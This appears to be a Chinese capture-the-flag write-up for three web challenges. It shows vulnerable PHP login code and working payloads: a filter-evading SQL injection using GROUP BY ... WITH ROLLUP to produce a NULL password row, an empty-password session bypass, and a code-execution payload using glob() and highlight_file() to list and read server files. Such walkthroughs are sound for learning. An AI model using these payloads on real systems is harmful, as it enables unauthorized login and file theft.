web10
WITH ROLLUP 绕过
点击取消键弹出源码下载:
源码如下:
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
select * from user where username = 'admin'or 1=1 GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){ //返回结果集中行的数目
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
首先对post的数据进行了select|from|where|join|sleep|and|s|union|
的过滤,然后查询出来的字符串长度要和我们post的长度相等,这两条限制使得无法通过双写绕过。
如果我们同时知道数据库中的username
和password
的话就可以通过,可问题是我们并不知道,所以就需要进行注入,自行构造。
mysql中的with rollup是用来在分组统计数据的基础上再进行统计汇总,用来得到group by的汇总信息;
结果中将会多出一行,其中age列为null
,count(*)
为统计和。
我们就是要通过with rollup使sql语句查询结果为null,然后不输入pwd使pwd为null就可以使$password==$row['password']
构建payload:'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP/**/LIMIT/**/1/**/OFFSET/**/1#
offset后面的值需要尝试才能找到pwd是null的行
web11
题目给出源码:
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
输出flag的条件为:$password==$_SESSION['password']
password是由我们自己输入的,session中的password存储在本地,所以我们只需要输入空密码,并且将本地的session删除即可成功绕过。
直接输出flag
web12
查看源码:
猜测可能后端代码中存在 eval()
或者exec()
等可以执行命令的代码。
使用glob() 函数返回匹配指定模式的文件名或目录。
glob()用法
glob(“*”) 匹配任意文件
glob(“*.txt”)匹配以txt为后缀的文件
构造payload:?cmd=print_r(glob("*"));
使用文件高亮命令,读出这个文件的PHP代码:
?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
获得flag。